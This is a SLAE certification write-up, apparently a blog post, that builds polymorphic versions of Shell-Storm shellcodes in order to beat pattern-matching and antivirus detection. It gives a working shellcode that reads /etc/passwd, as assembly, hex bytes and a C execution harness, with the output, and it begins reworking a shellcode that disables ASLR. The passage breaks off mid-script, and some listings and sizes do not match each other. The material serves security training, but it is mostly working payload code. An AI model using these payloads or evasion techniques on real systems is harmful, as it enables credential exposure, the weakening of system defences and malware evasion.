Student ID : SLAE  - 1314

Assignment 6:

In this assignment, polymorphism will be shown in practice. The following three shellcodes posted on shell-sotrm.org will be used

  • The goal of this assignment is to take up three shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching.
  • The polymorphic versions cannot be larger 150% of the existing Shellcode
  • Bonus points for making it shorter in length than the original

Disclaimer :

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert  certification

Polymorphism is a technique that is used to create code mutation keeping the initial functionality intact. That is, the code changes, but the functionality of the code will not change at all. This method for example is needed in order to obfuscate the executable to evade Antivirus detection mechanism.

Furthermore, there is a need to understand how the arguments passed into system calls in x86 assembly. The arguments are passed into system calls as follows, for 32-bit calls, eax contains the system call number, and its parameters are placed in ebx, ecx, edx, esi, edi, and ebp. To be more specific of how the arguments passed into the system calls, the Linux Syscall Reference is a helpful online resource that references the system calls and their arguments in relation with the x86 registers.

Tiny read file shellcode

Read the passwd file  

The first shellcode to be examined in order to perform polymorphic changes is the Tiny read file which is available here. This shellcode reads from inside the /etc/passwd file and then outputs the contents of the file in the console. Proceeding further to analyse the shellcode there is a need to generate a disassembly listing of the original shellcode in order to get the assembly code and instructions.

root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 F7E1 mul ecx
00000004 B005 mov al,0x5
00000006 51 push ecx
00000007 6873737764 push dword 0x64777373
0000000C 68632F7061 push dword 0x61702f63
00000011 682F2F6574 push dword 0x74652f2f
00000016 89E3 mov ebx,esp
00000018 CD80 int 0x80
0000001A 93 xchg eax,ebx
0000001B 91 xchg eax,ecx
0000001C B003 mov al,0x3
0000001E 31D2 xor edx,edx
00000020 66BAFF0F mov dx,0xfff
00000024 42 inc edx
00000025 CD80 int 0x80
00000027 92 xchg eax,edx
00000028 31C0 xor eax,eax
0000002A B004 mov al,0x4
0000002C B301 mov bl,0x1
0000002E CD80 int 0x80
00000030 93 xchg eax,ebx
00000031 CD80 int 0x80

Furthermore, the above instructions need to be isolated to a new file with the correct format for example polytiny.nasm and then analyzing it using gdb.

root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u - | awk -F" " '{ print "\t" $3" "$4" "$5 }' | sed '1 i\\nglobal _start\n\nsection .text\n\n_start:'

global _start

section .text

_start:
xor ecx,ecx
mul ecx
mov al,0x5
push ecx
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
mov ebx,esp
int 0x80
xchg eax,ebx
xchg eax,ecx
mov al,0x3
xor edx,edx
mov dx,0xfff
inc edx
int 0x80
xchg eax,edx
xor eax,eax
mov al,0x4
mov bl,0x1
int 0x80
xchg eax,ebx
int 0x80
root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u - | awk -F" " '{ print "\t" $3" "$4" "$5 }' | sed '1 i\\nglobal _start\n\nsection .text\n\n_start:' > polytiny.nasm

Before analysing the shellcode, it must be compiled using the following commands

root@slae:/home/xenofon/Documents/Assignment6# nasm -f elf32 -F dwarf -g -o polytiny.o polytiny.nasm 
root@slae:/home/xenofon/Documents/Assignment6# ld -z execstack -o polytiny polytiny.o

Then the debugging process of the executable file can be done using gdb as shown below

root@slae:/home/xenofon/Documents/Assignment6# gdb -q ./polytiny
Reading symbols from /home/xenofon/Documents/Assignment6/polytiny...done.
(gdb) set disassembly-flavor intel
(gdb) b _start
Breakpoint 1 at 0x8048080: file polytiny.nasm, line 7.
(gdb) r
Starting program: /home/xenofon/Documents/Assignment6/polytiny

Breakpoint 1, _start () at polytiny.nasm:7

In order to have an overview of the executed file, the disass gdb command can be used as follows

(gdb) disass
Dump of assembler code for function _start:
=> 0x08048080 <+0>: xor ecx,ecx
0x08048082 <+2>: mul ecx
0x08048084 <+4>: mov al,0x5
0x08048086 <+6>: push ecx
0x08048087 <+7>: push 0x64777373
0x0804808c <+12>: push 0x61702f63
0x08048091 <+17>: push 0x74652f2f
0x08048096 <+22>: mov ebx,esp
0x08048098 <+24>: int 0x80
0x0804809a <+26>: xchg ebx,eax
0x0804809b <+27>: xchg ecx,eax
0x0804809c <+28>: mov al,0x3
0x0804809e <+30>: xor edx,edx
0x080480a0 <+32>: mov dx,0xfff
0x080480a4 <+36>: inc edx
0x080480a5 <+37>: int 0x80
0x080480a7 <+39>: xchg edx,eax
0x080480a8 <+40>: xor eax,eax
0x080480aa <+42>: mov al,0x4
0x080480ac <+44>: mov bl,0x1
0x080480ae <+46>: int 0x80
0x080480b0 <+48>: xchg ebx,eax
0x080480b1 <+49>: int 0x80
End of assembler dump.

Furthermore, the stepin (si) gdb command can be used in order to follow the executable instructions step by step and check how the program deals with registers and memory. As seen above in red, the first command xor ecx, ecx is zeroing out the ecx register. The next command, mul ecx  used to zero out the eax register because the mul instruction always performs multiplication with eax register.

Breakpoint 1, _start () at polytiny.nasm:7
7 xor ecx,ecx
(gdb) p/x $ecx
$2 = 0x0
(gdb) si
8 mul ecx
(gdb) p/x $eax
$1 = 0x0
(gdb)

the above xor ecx, ecx instruction can be altered without affecting the functionality of the program. The xor ecx, ecx can be changed to the following instruction performing equivalent operation.

; Original Shellcode Instructions 
xor ecx, ecx

;Altered Shellcode Instructions
shr ecx, 16

The shr eax, 16 shifts the bits within the destination operand to the right by 16 positions affecting the lower half of the 32-bit register. This operation is zeroing out the cx register, but it is also increasing the length of the final shellcode because it consumes more space than the xor instruction.

From the original shellcode, the next instructions are used to implement the open system call.

mov al,0x5
push ecx
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
mov ebx,esp
int 0x80

the mov al, 0x5 instruction puts the immediate value 0x5 inside the lower byte register al, thus indicates the open system call according with the definition found at unistd_32.h header file as shown at the screenshot below

open

Furthermore, checking the open system call synopsis found here there are more than one prototypes, but at the current case the following used.

int open(const char *pathname, int flags);

The above function takes two arguments, the pathname of type const char* and the flags of type int. The pathname indicates the location of the file inside the filesystem and the flags constitute of the bitwise 'or' separated list of values that determine the method in which the file will be opened (whether it should be read only, read/write, .etc).

The push ecx instruction pushes the ecx register ( which holds the zero value ) into the stack

(gdb) p/s $ecx
$1 = 0
(gdb)

The push ecx instruction indicates the first parameter of the open system call starting from left to right. Pushing the zero value into the stack indicates the O_RDONLY flag which stands for read only. The instruction can be altered as follows

; Original Shellcode Instructions
push ecx

; Altered Shellcode Instructions
mov dword [esp-4], ecx
sub esp, 4

The above two instructions are performing the same thing as the  push ecx instruction does. In more detail,  ecx stored in memory using stack pointer minus 4 [esp-4] which is the esp offset referring to the type of the variable kept by ecx register which is  a type of DWORD that stands for 32-bit unsigned integer holding 4 bytes in memory. In order to reserve the available space in stack the sub esp, 4  instruction used, which makes room for a 4 byte local variable.

Following, at the next three instructions from the original shellcode, the path of passwd file ( /etc/passwd )  pushed in reverse order into the stack using the three instructions shown below

;//etc/passwd
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f

Using some python scripting the above hexadecimal values are decoded into characters in reverse order  

>>> "64777373".decode("hex")
'dwss'
>>> "61702f63".decode("hex")
'ap/c'
>>> "74652f2f".decode("hex")
'te//'
>>>

In order to examine the values pushed into the stack, the produced output can be checked. 

Dump of assembler code for function _start:
0x08048080 <+0>: xor ecx,ecx
0x08048082 <+2>: mul ecx
0x08048084 <+4>: mov al,0x5
0x08048086 <+6>: push ecx
0x08048087 <+7>: push 0x64777373
0x0804808c <+12>: push 0x61702f63
0x08048091 <+17>: push 0x74652f2f
=> 0x08048096 <+22>: mov ebx,esp
0x08048098 <+24>: int 0x80
0x0804809a <+26>: xchg ebx,eax
0x0804809b <+27>: xchg ecx,eax
0x0804809c <+28>: mov al,0x3
0x0804809e <+30>: xor edx,edx
0x080480a0 <+32>: mov dx,0xfff
0x080480a4 <+36>: inc edx
0x080480a5 <+37>: int 0x80
0x080480a7 <+39>: xchg edx,eax
0x080480a8 <+40>: xor eax,eax
0x080480aa <+42>: mov al,0x4
0x080480ac <+44>: mov bl,0x1
0x080480ae <+46>: int 0x80
0x080480b0 <+48>: xchg ebx,eax
0x080480b1 <+49>: int 0x80
End of assembler dump.
14 mov ebx,esp
(gdb) x/12cb $esp
0xbffff730: 47 '/' 47 '/' 101 'e' 116 't' 99 'c' 47 '/' 112 'p' 97 'a'
0xbffff738: 115 's' 115 's' 119 'w' 100 'd'
(gdb)

The altered instructions below are doing the same thing as the push instruction. Particularly, the three mov commands shown above are moving the //etc/passwd path into the 12 bytes reserved space on stack using instruction sub esp, 0ch where all the variables with 3*4 bytes length are aligned.

;instructions from original shellcode
;//etc/passwd
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f

; altered instructions
mov dword [esp-4],0x64777373
mov dword [esp-8], 0x61702f63
mov dword [esp-0ch], 0x74652f2f
sub esp, 0ch

Furthermore, the mov ebx, esp instruction will be used to set the new base pointer at the top of the stack after pushing all the function parameters into the stack.

mov ebx, esp

Additionally, for the sake of polymorphism the following open system call will be used instead of the one discussed before which initially used from the original shellcode.  

int open(const char *pathname, int flags, mode_t mode);

The function above has one extra argument named mode of type mode_t. The argument mode represents the permissions in case a new file is created using the open function call with the O_CREAT flag. If a new file is not being created then this argument is ignored. In this case the shellcode only reads from /etc/passwd file which is a system file already created from the Linux operating system. According to the open function prototype one extra instruction will be added that will assign the extra mode to the opened file.

;Altered Shellcode Instruction
mov dx, 0x1bc

The above instruction is adding the permission mode 0x1bc in hex which is 444 in decimal that defines the read, permissions to the opened file for the owner, the group and others. Nevertheless, because the file already exists the instruction above is useless thus providing a polymorphic change to the shellcode

Then the int 0x80 instruction used to execute the system call referred by the 0x5 value that moved earlier inside the lower byte register al.

int 0x80

The next instruction from the original shellcode used to exchange the eax as well as the ebx register values. 

xchg eax,ebx

The open system call returns a file descriptor of the open file, along with the assigned permissions which can be used to allow reading the file. The eax register is holding the returned file descriptor from the open system call which will then be assigned at ebx register when the instruction executes. The ebx register represents the first argument of the read system call. Also, the eax register will temporarily hold the data returned from the open system call. The read system call synopsis can be seen here

#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);

The read system call takes three arguments, the file descriptor fd of type int , the buffer buf of type void* holding the data to be read and the count of type size_t which provides the size of the data stored in buf.   Now that the ebx register holds the file descriptor, using the next instruction

xchg eax,ecx

After the execution of the instruction above, the ecx  register will now hold the data stored temporarily at eax after the use of the xchg eax, ebx instruction. The ecx represents the second argument of the read system call and holds the buffered data of the opened file. The eax register will now be assigned with zero. In order to achieve polymorphism the above two instructions can be changed into the following instructions that are performing the same operation.

;Altered Shellcode Instructions
;xchg ebx, eax

mov edi, eax
mov eax, ebx
mov ebx, edi

;xchg ecx, eax
mov esi, eax
mov eax, ecx
mov ecx, esi

The above instructions are doing the same thing as the previous instructions did with the use of the xchg command. The only drawback here is that the above instructions are increasing the length of the polymorphic version of the shellcode. So, in order to minimise the length, the above instructions can be altered as follows.

;Altered Shellcode Instructions
mov ecx, ebx

mov ebx, eax

In regard with the opened file ( /etc/passwd ), the mov ecx, ebx is assigning the data held in ebx inside the ecx register and the second instruction mov ebx, eax is assigning the file descriptor of the opened file to the ebx register.

Now, one argument left to complete the read function. The third argument holds the size of the buffered data. This indicates the length of the buffer as needed from the operating system in order to reserve the available space for storing the data.

Following, The read system call will be called in order to read the data using the file descriptor returned from the open system call. Before proceeding to call the read system call, first the system call number 0x3 needs to be stored into the lower byte register al (avoiding nulls).

;read from file
mov al, 3

The following instructions are used to indicate the length of the buffer that holds the data. In this case the buffer size is 4096 bytes. The lower half of the 32-bit edx register, the dx register is holding 4095 bytes which in hex is 0xfff. Then the inc instruction increments the contents of its operand by one turning into 4096.  

mov dx, 0xfff
inc edx

Below there is a short analysis of how the null values can be generated if another technique used for the same operation. For example, if the writer used the following instructions mov dx, 0x1000, then null values would exist inside the shellcode as shown in red below

root@slae:/home/xenofon/Documents/Assignment6# objdump -d tn -M intel

tn: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: 31 d2 xor edx,edx
8048082: f7 e1 mul ecx
8048084: b0 05 mov al,0x5
8048086: 51 push ecx
8048087: c7 44 24 fc 73 73 77 mov DWORD PTR [esp-0x4],0x64777373
804808e: 64
804808f: c7 44 24 f8 63 2f 70 mov DWORD PTR [esp-0x8],0x61702f63
8048096: 61
8048097: c7 44 24 f4 2f 2f 65 mov DWORD PTR [esp-0xc],0x74652f2f
804809e: 74
804809f: 83 ec 0c sub esp,0xc
80480a2: 89 e3 mov ebx,esp
80480a4: 66 ba bc 02 mov dx,0x2bc
80480a8: cd 80 int 0x80
80480aa: 89 c7 mov edi,eax
80480ac: 89 d8 mov eax,ebx
80480ae: 89 fb mov ebx,edi
80480b0: 89 c6 mov esi,eax
80480b2: 89 c8 mov eax,ecx
80480b4: 89 f1 mov ecx,esi
80480b6: b0 03 mov al,0x3
80480b8: 66 8b 15 00 10 00 00 mov dx,WORD PTR ds:0x1000
80480bf: cd 80 int 0x80
80480c1: 31 c0 xor eax,eax
80480c3: b0 04 mov al,0x4
80480c5: b3 01 mov bl,0x1
80480c7: cd 80 int 0x80
80480c9: 31 c0 xor eax,eax
80480cb: b0 01 mov al,0x1
80480cd: cd 80 int 0x80

Furthermore, if an immediate value used, such as mov dx, 4096, it will also produce null bytes as follows

80480b8: 66 ba 00 10 mov dx,0x1000

So, the concept here is to find out the values to use in order to assign 4096 bytes as buffer length into the dx register, and also to produce a polymorphic version of the original instructions. Consequently, the following instructions can be used to achieve a polymorphic version without producing any null bytes.

; From original shellcode 
mov dx, 0xfff
inc edx

;Altered Shellcode Instructions
;polymorphic version ( this two instructions perform the addition operation )
mov dx, 0xFFe ; this value represents 4094 in hex
inc dx ; this instruction increases by one the value held in dx register

The mov dx, 0xffe instruction moves the 4094 decimal value into dx register, and the inc dx instruction increases by one the hex value held by dx register. The result of the inc instruction produces the decimal value 4096 which constitutes the needed byte length of the buffer. In addition, the inc instruction has been chosen because it produces lower length shellcode comparing to other instructions such as for example the add instruction that performs the addition operation. 

Moving further, in order to be sure that no null bytes produced when compiling the code, the compiled code can be checked using the following command 

root@slae:/home/xenofon/Documents/Assignment6# objdump -d polytiny -M intel 
[...]
80480b4: 89 f1 mov ecx,esi
80480b6: b0 03 mov al,0x3
80480b8: 66 ba e7 0f mov dx,0xfe7
80480bc: 83 c2 19 add edx,0x19
80480bf: cd 80 int 0x80
[........]

The produced bytecodes from running the above command are not containing any null bytes, so there is a green light to continue further to analyse and modify the rest of the instructions. Continuing further, the next instructions are representing the write system call used to print the output onto the console.

; Original Shellcode Instructions
xor eax, eax
mov al, 4
mov bl, 1
int 0x80

The xor eax, eax used to zero out the eax register and then the mov al, 4 used to assign the immediate value 4 into the lower byte register al, which indicates the write system call. Furthermore, mov bl, 1 instruction used to assign the immediate value 1 at the lower byte register bl, indicating the file descriptor of standard output. Then, using instruction mov bl, 1 the write system call will print the contents of /etc/passwd file onto the console. The instruction int 0x80 calls the write system call.

The following the instruction in red  used in order to achieve polymorphism of the write operation produced by write system call.

xor eax, eax 
mov al, 4
; Altered Shellcode Instruction
sub bl, 2
int 0x80

The xor eax, eax instruction used to zero out the eax register while the instruction mov al, 4 assigns the immediate value of 4 at the lower byte resister al which indicates the write system call. Then the immediate value 0x1 which indicates the standard output file descriptor,  assigned at the lower byte register bl after substitution with immediate value 2. In more detail, the substitution worked here because the ebx register has had the file descriptor value 0x3 returned earlier from the open function call. Later on, the instruction int 0x80 used to call the write system call.

Lastly, the instructions shown below are implementing the exit system call at the original shellcode.

xchg eax,ebx
int 0x80

Specifically, the shellcode writer has been chosen to use the xchg instruction in order to exchange the values held by ebx and eax registers accordingly. Using this method the exit system call implemented in two instructions minimising the length of the final shellcode. To this end, in order to achieve polymorphism the above instructions will be modified with instructions in red as follows

; Altered Shellcode Instructions
xor eax, eax

inc al
int 0x80

The above instructions are used to implement the exit system call. The value 1 used to indicate the exit system call, so by using the instruction inc al the zero value inside the lower byte register al will be increased by one at the lower byte register al.

At this point the analysis of the shellcode "Tiny read file shellcode" is done and the final polymorphic version shown below

global _start

section .text

_start:

shr ecx, 16
mul ecx
mov al, 5
mov dword [esp-4], ecx
mov dword [esp-8], 0x64777373
mov dword [esp-0ch], 0x61702f63
mov dword [esp-10h], 0x74652f2f
sub esp, 10h
mov ebx, esp
mov dx, 0x1bc
int 0x80

mov ecx, ebx
mov ebx, eax

mov al, 3
mov dx, 0xffe
inc dx
int 0x80

xor eax, eax
mov al, 4
sub bl, 2
int 0x80

xor eax, eax
inc al
int 0x80 

Now that the polymorphism has finished, a C program will be constructed to deliver the execution of the polymorphic version of the shellcode. The following command will produce the final polymorphic shellcode.

root@slae:/home/xenofon/Documents/Assignment6# objdump -d ./polytiny|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xc1\xe9\x10\xf7\xe1\xb0\x05\x89\x4c\x24\xfc\xc7\x44\x24\xf8\x73\x73\x77\x64\xc7\x44\x24\xf4\x63\x2f\x70\x61\xc7\x44\x24\xf0\x2f\x2f\x65\x74\x83\xec\x10\x89\xe3\x66\xba\xbc\x01\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xfe\x0f\x66\x42\xcd\x80\x31\xc0\xb0\x04\x80\xeb\x02\xcd\x80\xc1\xe8\x10\xfe\xc0\xcd\x80"

The following program will be used to deliver the execution of the new polymorphic shellcode


#include <stdio.h>
#include <srting.h>

unsigned char code[] = \
     "\xc1\xe9\x10\xf7\xe1\xb0\x05\x89\x4c\x24\xfc\xc7"
     "\x44\x24\xf8\x73\x73\x77\x64\xc7\x44\x24\xf4\x63"
     "\x2f\x70\x61\xc7\x44\x24\xf0\x2f\x2f\x65\x74\x83"
     "\xec\x10\x89\xe3\x66\xba\xbc\x01\xcd\x80\x89\xd9"
     "\x89\xc3\xb0\x03\x66\xba\xfe\x0f\x66\x42\xcd\x80"
     "\x31\xc0\xb0\x04\x80\xeb\x02\xcd\x80\xc1\xe8\x10"
     "\xfe\xc0\xcd\x80";

main()
{
printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();
}

As seen below, compiling and running the code above will give the same output as the original shellcode

root@slae:/home/xenofon/Documents/Assignment6# gcc -fno-stack-protector -g -z execstack -m32 -o shellcode shellcode.c && ./shellcode 
Shellcode Length: 76
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
colord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false
lightdm:x:104:111:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:105:114::/nonexistent:/bin/false
avahi-autoipd:x:106:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:107:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
usbmux:x:108:46:usbmux daemon,,,:/home/usbmux:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:122:RealtimeKit,,,:/proc:/bin/false
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
saned:x:114:123::/home/saned:/bin/false
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
xenofon:x:1001:1001:Xenofon,,,:/home/xenofon:/bin/bash
sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:1002:1002::/home/postgres:/bin/sh

Following, the length of the new shellcode will be checked in order to be align with the rules of the exercise where the polymorphic version is not allowed to exceed the 150% of the original shellcode. The calculation below shows that the exercise rule is followed.

original shelcode length : 51 
polymorphic version length : 75
51 * 1.5 = 76.5

ASLR deactivation

The next shellcode that will be used to create a polymorphic version is the "ASLR deactivation" and can be found at shell-storm.org. The ASLR refers for address-space layout randomisation and can operate in different modes, thus it could be changed in Linux, using the /proc/sys/kernel/randomize_va_space interface. The following values for this purpose are supported:

  • 0 - No randomization.
  • 1 - Conservative randomization. Shared libraries, stack , mmap(), VDSO and heap are randomized.
  • 2 - Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

Currently, the first bullet above has been used, which is about disabling randomisation. At a glance, the logic behind writing the ASLR deactivation from the shellcode writer is the following :

  • create /proc/sys/kernel/randomize_va_space file
  • write the zero(0) value inside randomize_va_space file
  • exit

Before beginning the analysis, the disassembly listing of the original shellcode is needed in order to get the assembly code and instructions. To do so, the following command will be used

root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80" | ndisasm -u -
00000000 31C0 xor eax,eax
00000002 50 push eax
00000003 6870616365 push dword 0x65636170
00000008 6876615F73 push dword 0x735f6176
0000000D 68697A655F push dword 0x5f657a69
00000012 686E646F6D push dword 0x6d6f646e
00000017 686C2F7261 push dword 0x61722f6c
0000001C 6865726E65 push dword 0x656e7265
00000021 6879732F6B push dword 0x6b2f7379
00000026 686F632F73 push dword 0x732f636f
0000002B 682F2F7072 push dword 0x72702f2f
00000030 89E3 mov ebx,esp
00000032 66B9BC02 mov cx,0x2bc
00000036 B008 mov al,0x8
00000038 CD80 int 0x80
0000003A 89C3 mov ebx,eax
0000003C 50 push eax
0000003D 66BA303A mov dx,0x3a30
00000041 6652 push dx
00000043 89E1 mov ecx,esp
00000045 31D2 xor edx,edx
00000047 42 inc edx
00000048 B004 mov al,0x4
0000004A CD80 int 0x80
0000004C B006 mov al,0x6
0000004E CD80 int 0x80
00000050 40 inc eax
00000051 CD80 int 0x80

Furthermore, the above instructions need to be isolated to a new file named for example poly_aslr.nasm.

root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80" | ndisasm  -u - | awk -F" " '{ print "\t" $3" "$4" "$5 }' | sed '1 i\\nglobal _start\n\nsection .text\n\n_start:' >nbsp; poly_aslr.nasm
root@slae:/home/xenofon/Documents/Assignment6# cat poly_aslr.nasm

global _start

section .text

_start:
xor eax,eax
push eax
push dword 0x65636170
push dword 0x735f6176
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
push dword 0x72702f2f
mov ebx,esp
mov cx,0x2bc
mov al,0x8
int 0x80
mov ebx,eax
push eax
mov dx,0x3a30
push dx
mov ecx,esp
xor edx,edx
inc edx
mov al,0x4
int 0x80
mov al,0x6
int 0x80
inc eax
int 0x80

Before analysing the shellcode, it must be compiled using the following commands

root@slae:/home/xenofon/Documents/Assignment6# nasm -f elf32 -F dwarf -g -o poly_aslr.o poly_aslr.nasm
root@slae:/home/xenofon/Documents/Assignment6# ld -z execstack -o poly_aslr poly_aslr.o

Then the debugging process of the executable file can be done using gdb as shown below

root@slae:/home/xenofon/Documents/Assignment6# gdb -q ./sh
Reading symbols from /home/xenofon/Documents/Assignment6/sh...done.
(gdb) set disassembly-flavor intel
(gdb) b *&code
Breakpoint 1 at 0x804a040
(gdb) r
Starting program: /home/xenofon/Documents/Assignment6/sh
Shellcode Length: 83

Breakpoint 1, 0x0804a040 in code ()
(gdb)

In order to have an overview of the executed file, the disass gdb command can be used as follows

(gdb) disass
Dump of assembler code for function code:
=> 0x0804a040 <+0>: xor eax,eax
0x0804a042 <+2>: push eax
0x0804a043 <+3>: push 0x65636170
0x0804a048 <+8>: push 0x735f6176
0x0804a04d <+13>: push 0x5f657a69
0x0804a052 <+18>: push 0x6d6f646e
0x0804a057 <+23>: push 0x61722f6c
0x0804a05c <+28>: push 0x656e7265
0x0804a061 <+33>: push 0x6b2f7379
0x0804a066 <+38>: push 0x732f636f
0x0804a06b <+43>: push 0x72702f2f
0x0804a070 <+48>: mov ebx,esp
0x0804a072 <+50>: mov cx,0x2bc
0x0804a076 <+54>: mov al,0x8
0x0804a078 <+56>: int 0x80
0x0804a07a <+58>: mov ebx,eax
0x0804a07c <+60>: push eax
0x0804a07d <+61>: mov dx,0x3a30
0x0804a081 <+65>: push dx
0x0804a083 <+67>: mov ecx,esp
0x0804a085 <+69>: xor edx,edx
0x0804a087 <+71>: inc edx
0x0804a088 <+72>: mov al,0x4
0x0804a08a <+74>: int 0x80
0x0804a08c <+76>: mov al,0x6
0x0804a08e <+78>: int 0x80
0x0804a090 <+80>: inc eax
0x0804a091 <+81>: int 0x80
0x0804a093 <+83>: add BYTE PTR [eax],al
End of assembler dump.
(gdb)

As shown above, the eax register is zeroed out with xor eax, eax and then pushed into the stack with push eax.

xor eax,eax
push eax

The above instructions will be altered in order to perform polymorphism, thus the instruction xor eax, eax will be changed as follows

xor ebx,ebx
mul ebx

The xor ebx, ebx used to zero out the ebx register. Then the mul ebx instruction used to zero out the eax register because the mul instruction is performing multiplication with the eax register. So, in the current case there is an additional extra instruction that is performing a zero out operation to ebx register without causing any alteration of the initially intended functionality. Additionally, one possible drawback of using the extra instruction is that it could probably increase the length of the final shellcode, but this  will be considered later. According with the analysis until now, the creat() system call will be used to open the /proc/sys/kernel/randomize_va_space file. Furthermore, the shellcode will push the arguments into the stack using the stack method.

Following, the creat() system call is shown and the full synopsis can be found at creat(3) man page

int creat(const char *pathname, mode_t mode);

The creat() system call returns an integer. There are also two arguments passed to the function, the first is the pathname of type char* and the second one is the mode of type mode</it>t. Additionally, according to creat() general description, the creat() system call is equivalent with the following call :

open(path, O_WRONLY|O_CREAT|O_TRUNC, mode)

Thus the file named by pathname is created, unless it already exists. Furthermore, the next instructions will push the following path /proc/sys/kernel/randomize_va_space into the stack in order to pass the first argument of the creat() system call.

The next instruction will push the eax register into the stack

push eax 

The above instruction will be changed as follows

;Altered Instructions 
mov dword [esp-4], eax

sub esp, 4

These two instructions are performing the same operation as the push eax instruction does. In more detail, eax stored in memory using stack pointer minus 4 [esp-4] which refers to the esp offset regarding the type of the variable kept by eax register which is DWORD and stands for 32-bit unsigned integer holding 4 bytes in memory. Also, in order to reserve the available space in stack the sub esp, 4 instruction has been used, which makes room for one 4 byte local variable. Also, in order to achieve a minimal length of the polymorphic version, the above instructions will be modified and merged with the following instructions that used to pass the path /proc/sys/kernel/randomize_va_space  as the first argument of creat() system call.

push dword 0x65636170
push dword 0x735f6176
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
push dword 0x72702f2f

Additionally, the following python script will be used as shown below in order to convert the hex values into ASCII chars

#!/bin/python

print "6d6f646e".decode("hex") \
+ "735f6176".decode("hex") + \
"5f657a69".decode("hex") + \
"6d6f646e".decode("hex") + \
